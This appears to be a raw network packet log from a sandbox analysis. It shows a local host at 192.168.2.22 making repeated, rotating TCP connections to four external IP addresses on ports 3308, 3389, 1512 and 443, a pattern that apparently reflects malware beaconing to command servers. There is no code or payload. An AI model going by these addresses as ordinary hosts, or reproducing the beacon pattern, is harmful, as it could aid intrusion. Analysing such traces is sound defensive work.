Jan 11, 2021 20:48:31.295423985 CET	3308	49254	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:31.298264027 CET	3308	49254	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:31.298331022 CET	3308	49254	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:31.411098957 CET	3308	49254	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:31.411123037 CET	3308	49254	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:31.411349058 CET	49254	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:31.416935921 CET	49254	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:31.460037947 CET	3308	49254	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:31.527239084 CET	49255	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:31.581537962 CET	3389	49255	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:31.581655979 CET	49255	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:31.583133936 CET	49255	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:31.637949944 CET	3389	49255	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:31.662791014 CET	3389	49255	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:31.662844896 CET	3389	49255	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:31.662938118 CET	49255	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:31.675887108 CET	49255	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:31.735203981 CET	3389	49255	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:31.735302925 CET	49255	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:31.742204905 CET	49255	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:31.742372990 CET	49255	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:31.796644926 CET	3389	49255	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:31.796909094 CET	49255	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:31.837059975 CET	3389	49255	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:31.851416111 CET	3389	49255	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:31.851484060 CET	3389	49255	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:31.941574097 CET	3389	49255	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:31.941646099 CET	3389	49255	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:31.941842079 CET	49255	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:31.947439909 CET	49255	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:32.002343893 CET	3389	49255	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:32.057365894 CET	49256	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:32.110222101 CET	1512	49256	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:32.110405922 CET	49256	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:32.112021923 CET	49256	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:32.164751053 CET	1512	49256	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:32.172524929 CET	1512	49256	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:32.172569036 CET	1512	49256	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:32.172699928 CET	49256	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:32.172749043 CET	49256	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:32.189795971 CET	49256	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:32.243709087 CET	1512	49256	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:32.244050026 CET	49256	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:32.254331112 CET	49256	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:32.254638910 CET	49256	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:32.307440996 CET	1512	49256	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:32.307645082 CET	49256	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:32.345580101 CET	1512	49256	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:32.360507011 CET	1512	49256	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:32.360579014 CET	1512	49256	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:32.460463047 CET	1512	49256	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:32.460514069 CET	1512	49256	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:32.460745096 CET	49256	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:32.468175888 CET	49256	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:32.521080017 CET	1512	49256	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:32.593341112 CET	49257	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:32.645185947 CET	443	49257	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:32.645328999 CET	49257	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:32.646861076 CET	49257	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:32.698695898 CET	443	49257	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:32.715358019 CET	443	49257	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:32.715436935 CET	49257	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:32.722683907 CET	49257	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:32.776953936 CET	443	49257	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:32.777215004 CET	49257	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:32.787348986 CET	49257	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:32.787734032 CET	49257	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:32.839487076 CET	443	49257	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:32.839631081 CET	49257	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:32.879264116 CET	443	49257	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:32.891315937 CET	443	49257	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:33.007910967 CET	443	49257	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:33.007976055 CET	443	49257	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:33.008038998 CET	49257	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:33.008090019 CET	49257	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:33.013495922 CET	49257	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:33.065335989 CET	443	49257	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:33.129261971 CET	49258	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:33.172667980 CET	3308	49258	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:33.172799110 CET	49258	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:33.174460888 CET	49258	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:33.217689991 CET	3308	49258	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:33.228363991 CET	3308	49258	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:33.228442907 CET	3308	49258	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:33.228491068 CET	49258	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:33.228533030 CET	49258	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:33.244873047 CET	49258	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:33.291848898 CET	3308	49258	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:33.292040110 CET	49258	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:33.302727938 CET	49258	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:33.303085089 CET	49258	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:33.346239090 CET	3308	49258	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:33.346626043 CET	49258	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:33.386054993 CET	3308	49258	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:33.389894009 CET	3308	49258	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:33.389961958 CET	3308	49258	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:33.502000093 CET	3308	49258	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:33.502064943 CET	3308	49258	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:33.502295017 CET	49258	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:33.507903099 CET	49258	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:33.551074982 CET	3308	49258	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:33.617362976 CET	49259	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:33.671787024 CET	3389	49259	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:33.671950102 CET	49259	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:33.673330069 CET	49259	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:33.727309942 CET	3389	49259	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:33.749819040 CET	3389	49259	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:33.749845028 CET	3389	49259	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:33.749953985 CET	49259	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:33.761693001 CET	49259	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:33.822760105 CET	3389	49259	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:33.822932005 CET	49259	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:33.832596064 CET	49259	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:33.832794905 CET	49259	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:33.887049913 CET	3389	49259	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:33.887332916 CET	49259	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:33.926685095 CET	3389	49259	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:33.941463947 CET	3389	49259	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:33.941669941 CET	3389	49259	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:34.030966043 CET	3389	49259	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:34.031043053 CET	3389	49259	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:34.031316996 CET	49259	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:34.045481920 CET	49259	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:34.099561930 CET	3389	49259	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:34.207386971 CET	49260	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:34.260631084 CET	1512	49260	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:34.260786057 CET	49260	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:34.262172937 CET	49260	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:34.315130949 CET	1512	49260	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:34.322926044 CET	1512	49260	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:34.322990894 CET	1512	49260	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:34.323106050 CET	49260	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:34.323766947 CET	49260	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:34.336355925 CET	49260	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:34.390616894 CET	1512	49260	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:34.391920090 CET	49260	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:34.401778936 CET	49260	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:34.401967049 CET	49260	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:34.454978943 CET	1512	49260	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:34.455938101 CET	49260	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:34.491435051 CET	1512	49260	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:34.509064913 CET	1512	49260	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:34.509125948 CET	1512	49260	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:34.609087944 CET	1512	49260	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:34.609154940 CET	1512	49260	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:34.609344959 CET	49260	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:34.614705086 CET	49260	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:34.667979956 CET	1512	49260	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:34.864770889 CET	49261	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:34.917517900 CET	443	49261	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:34.917675018 CET	49261	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:34.924122095 CET	49261	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:34.976617098 CET	443	49261	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:34.991720915 CET	443	49261	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:34.991889954 CET	49261	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:35.003748894 CET	49261	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:35.058490992 CET	443	49261	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:35.058617115 CET	49261	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:35.067686081 CET	49261	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:35.067929983 CET	49261	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:35.120320082 CET	443	49261	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:35.120564938 CET	49261	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:35.173055887 CET	443	49261	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:35.291146040 CET	443	49261	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:35.291224957 CET	443	49261	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:35.291414976 CET	49261	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:35.678622961 CET	49261	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:35.731239080 CET	443	49261	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:35.781296015 CET	49262	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:35.824548006 CET	3308	49262	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:35.824624062 CET	49262	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:35.826380014 CET	49262	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:35.869486094 CET	3308	49262	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:35.880141973 CET	3308	49262	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:35.880218029 CET	49262	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:35.880222082 CET	3308	49262	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:35.880269051 CET	49262	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:35.886492968 CET	49262	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:35.931715965 CET	3308	49262	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:35.931821108 CET	49262	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:35.954989910 CET	49262	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:35.955127954 CET	49262	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:35.998564959 CET	3308	49262	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:35.998785973 CET	49262	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:36.039166927 CET	3308	49262	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:36.042138100 CET	3308	49262	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:36.154501915 CET	3308	49262	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:36.154580116 CET	3308	49262	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:36.154823065 CET	49262	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:36.157113075 CET	49262	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:36.200218916 CET	3308	49262	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:36.270092010 CET	49263	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:36.324538946 CET	3389	49263	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:36.324623108 CET	49263	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:36.326105118 CET	49263	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:36.380481005 CET	3389	49263	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:36.405855894 CET	3389	49263	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:36.405930042 CET	3389	49263	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:36.405963898 CET	49263	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:36.405986071 CET	49263	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:36.417753935 CET	49263	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:36.481951952 CET	3389	49263	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:36.482245922 CET	49263	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:36.492110968 CET	49263	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:36.492440939 CET	49263	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:36.547338009 CET	3389	49263	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:36.547533035 CET	49263	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:36.586867094 CET	3389	49263	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:36.601881981 CET	3389	49263	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:36.601897955 CET	3389	49263	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:36.690335035 CET	3389	49263	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:36.690367937 CET	3389	49263	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:36.690598011 CET	49263	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:36.696111917 CET	49263	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:36.750709057 CET	3389	49263	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:36.815913916 CET	49264	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:36.869473934 CET	1512	49264	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:36.869651079 CET	49264	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:36.878411055 CET	49264	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:36.931634903 CET	1512	49264	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:36.938669920 CET	1512	49264	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:36.938744068 CET	1512	49264	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:36.938865900 CET	49264	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:36.939076900 CET	49264	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:36.948026896 CET	49264	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:37.003055096 CET	1512	49264	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:37.003348112 CET	49264	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:37.013572931 CET	49264	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:37.013845921 CET	49264	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:37.066786051 CET	1512	49264	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:37.067102909 CET	49264	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:37.103610039 CET	1512	49264	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:37.119992971 CET	1512	49264	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:37.120017052 CET	1512	49264	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:37.223567009 CET	1512	49264	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:37.223628044 CET	1512	49264	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:37.223834991 CET	49264	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:37.229963064 CET	49264	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:37.283126116 CET	1512	49264	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:37.346667051 CET	49265	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:37.398886919 CET	443	49265	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:37.399296999 CET	49265	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:37.401297092 CET	49265	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:37.453165054 CET	443	49265	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:37.467885017 CET	443	49265	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:37.468132019 CET	49265	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:37.483933926 CET	49265	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:37.538043976 CET	443	49265	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:37.538198948 CET	49265	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:37.543050051 CET	49265	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:37.543170929 CET	49265	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:37.594877958 CET	443	49265	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:37.595097065 CET	49265	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:37.647242069 CET	443	49265	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:37.765028000 CET	443	49265	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:37.765094995 CET	443	49265	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:37.765384912 CET	49265	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:37.770891905 CET	49265	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:37.822815895 CET	443	49265	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:37.892586946 CET	49266	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:37.936153889 CET	3308	49266	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:37.936443090 CET	49266	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:37.937958956 CET	49266	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:37.981162071 CET	3308	49266	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:37.994826078 CET	3308	49266	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:37.994887114 CET	3308	49266	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:37.994913101 CET	49266	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:37.994955063 CET	49266	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:38.002827883 CET	49266	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:38.048496008 CET	3308	49266	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:38.048614025 CET	49266	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:38.058192015 CET	49266	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:38.058446884 CET	49266	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:38.101716042 CET	3308	49266	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:38.101989031 CET	49266	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:38.141949892 CET	3308	49266	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:38.145200968 CET	3308	49266	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:38.258579016 CET	3308	49266	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:38.258625031 CET	3308	49266	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:38.258702040 CET	49266	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:38.260688066 CET	49266	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:38.303817034 CET	3308	49266	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:38.372277975 CET	49267	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:38.426162958 CET	3389	49267	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:38.426363945 CET	49267	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:38.427478075 CET	49267	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:38.481508970 CET	3389	49267	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:38.519759893 CET	3389	49267	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:38.519821882 CET	3389	49267	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:38.519929886 CET	49267	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:38.519982100 CET	49267	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:38.531502962 CET	49267	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:38.590946913 CET	3389	49267	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:38.591289043 CET	49267	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:38.600728989 CET	49267	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:38.600785971 CET	49267	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:38.654910088 CET	3389	49267	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:38.655256987 CET	49267	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:38.694991112 CET	3389	49267	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:38.709225893 CET	3389	49267	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:38.709266901 CET	3389	49267	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:38.800718069 CET	3389	49267	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:38.800781965 CET	3389	49267	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:38.800992012 CET	49267	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:38.809078932 CET	49267	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:38.863027096 CET	3389	49267	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:38.922030926 CET	49268	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:38.975150108 CET	1512	49268	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:38.975361109 CET	49268	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:38.976613045 CET	49268	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:39.029340982 CET	1512	49268	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:39.036371946 CET	1512	49268	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:39.036401033 CET	1512	49268	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:39.036525965 CET	49268	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:39.049021959 CET	49268	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:39.103060007 CET	1512	49268	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:39.103276968 CET	49268	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:39.112487078 CET	49268	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:39.112838030 CET	49268	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:39.165612936 CET	1512	49268	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:39.165855885 CET	49268	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:39.203478098 CET	1512	49268	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:39.218705893 CET	1512	49268	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:39.320125103 CET	1512	49268	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:39.320193052 CET	1512	49268	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:39.320358038 CET	49268	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:39.320408106 CET	49268	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:39.325918913 CET	49268	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:39.378748894 CET	1512	49268	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:39.436678886 CET	49269	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:39.488435984 CET	443	49269	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:39.489614964 CET	49269	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:39.490421057 CET	49269	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:39.542190075 CET	443	49269	77.220.64.37	192.168.2.22
